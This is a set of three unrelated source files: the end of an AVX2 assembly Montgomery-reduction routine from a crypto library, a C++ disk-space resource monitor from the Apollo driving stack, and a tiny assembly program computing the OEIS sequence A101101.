vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*6-sizeof(qword)*2]
vpaddq ymm6, ymm6, ymm14
add r13, rdx
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*7-sizeof(qword)*2]
vpaddq ymm7, ymm7, ymm14
shr r13, DIGIT_BITS
vmovq xmm0, r13
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)-sizeof(qword)*3]
vpaddq ymm1, ymm1, ymm0
vpaddq ymm1, ymm1, ymm14
vmovdqu ymmword [rsi], ymm1
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*8-sizeof(qword)*2]
vpaddq ymm8, ymm8, ymm14
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*9-sizeof(qword)*2]
vpaddq ymm9, ymm9, ymm14
;; ------------------------------------------------------------
vmovq rdx, xmm1 ; y0 = (ac0*k0) & DIGIT_MASK
imul edx, r8d
and edx, DIGIT_MASK
vmovq r10, xmm1 ; update lowest part of temporary result
mov r11, qword [rsi+sizeof(qword)] ;
mov r12, qword [rsi+sizeof(qword)*2] ;
mov r13, qword [rsi+sizeof(qword)*3] ;
vmovd xmm10, edx
vpbroadcastq ymm10, xmm10
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*2-sizeof(qword)*3]
mov rax, rdx ; ac0 += pn[0]*y0
imul rax, qword [rcx]
vpaddq ymm1, ymm2, ymm14
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*3-sizeof(qword)*3]
add r10, rax
vpaddq ymm2, ymm3, ymm14
shr r10, DIGIT_BITS ; updtae ac1
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*4-sizeof(qword)*3]
mov rax, rdx ; ac1 += pn[1]*y0
imul rax, qword [rcx+sizeof(qword)]
vpaddq ymm3, ymm4, ymm14
add r11, rax
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*5-sizeof(qword)*3]
mov rax, rdx ; ac2 += pn[2]*y0
imul rax, qword [rcx+sizeof(qword)*2]
vpaddq ymm4, ymm5, ymm14
add r12, rax
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*6-sizeof(qword)*3]
imul rdx, qword [rcx+sizeof(qword)*3] ; ac3 += pn[3]*y0
vpaddq ymm5, ymm6, ymm14
add r13, rdx
add r11, r10
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*7-sizeof(qword)*3]
mov rdx, r11 ; y1 = (ac1*k0) & DIGIT_MASK
imul edx, r8d
vpaddq ymm6, ymm7, ymm14
and rdx, DIGIT_MASK
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*8-sizeof(qword)*3]
vpaddq ymm7, ymm8, ymm14
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*9-sizeof(qword)*3]
vpaddq ymm8, ymm9, ymm14
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*10-sizeof(qword)*3]
vpaddq ymm9, ymm14, ymmword [rsi+sizeof(ymmword)*10]
add rsi, sizeof(qword)*4
sub r9, 2
jnz .reduction_loop
.exit_reduction_loop:
mov rsi, qword [rsp+pResult] ; restore pointer to result
mov qword [rsi], r12
mov qword [rsi+sizeof(qword)], r13
vmovdqu ymmword [rsi+sizeof(ymmword)-sizeof(qword)*2], ymm1
vmovdqu ymmword [rsi+sizeof(ymmword)*2-sizeof(qword)*2], ymm2
vmovdqu ymmword [rsi+sizeof(ymmword)*3-sizeof(qword)*2], ymm3
vmovdqu ymmword [rsi+sizeof(ymmword)*4-sizeof(qword)*2], ymm4
vmovdqu ymmword [rsi+sizeof(ymmword)*5-sizeof(qword)*2], ymm5
vmovdqu ymmword [rsi+sizeof(ymmword)*6-sizeof(qword)*2], ymm6
vmovdqu ymmword [rsi+sizeof(ymmword)*7-sizeof(qword)*2], ymm7
vmovdqu ymmword [rsi+sizeof(ymmword)*8-sizeof(qword)*2], ymm8
vmovdqu ymmword [rsi+sizeof(ymmword)*9-sizeof(qword)*2], ymm9
;;
;; normalization
;;
mov r9, dword 38
xor rax, rax
.norm_loop:
add rax, qword [rsi]
add rsi, sizeof(qword)
mov rdx, dword DIGIT_MASK
and rdx, rax
shr rax, DIGIT_BITS
mov qword [rdi], rdx
add rdi, sizeof(qword)
sub r9, 1
jg .norm_loop
mov qword [rdi], rax
REST_XMM_AVX
REST_GPR
ret
ENDFUNC cpMontRed1024_avx2
%endif ; __ARCH32E_L9
|
/******************************************************************************
* Copyright 2018 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#include "modules/monitor/hardware/resource_monitor.h"
#include "boost/filesystem.hpp"
#include "gflags/gflags.h"
#include "modules/common/log.h"
#include "modules/common/util/file.h"
#include "modules/monitor/common/monitor_manager.h"
DEFINE_string(resource_monitor_name, "ResourceMonitor",
"Name of the resource monitor.");
DEFINE_double(resource_monitor_interval, 5,
"Topic status checking interval (s).");
namespace apollo {
namespace monitor {
ResourceMonitor::ResourceMonitor(const ResourceConf& config)
: RecurrentRunner(FLAGS_resource_monitor_name,
FLAGS_resource_monitor_interval)
, config_(config) {
}
void ResourceMonitor::RunOnce(const double current_time) {
// Monitor directory available size.
for (const auto& dir_space : config_.dir_spaces()) {
const int min_available_gb = dir_space.min_available_gb();
for (const auto& path : apollo::common::util::Glob(dir_space.path())) {
const auto space = boost::filesystem::space(path);
const int available_gb = space.available >> 30;
if (available_gb < min_available_gb) {
MonitorManager::LogBuffer().ERROR() <<
path << " has only " << available_gb << "GB space left, while " <<
min_available_gb << "GB is requried.";
}
}
}
}
} // namespace monitor
} // namespace apollo
|
; A101101: a(1)=1, a(2)=5, and a(n)=6 for n>=3.
; 1,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6
mul $0,4
mov $1,$0
trn $0,5
sub $1,$0
add $1,1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.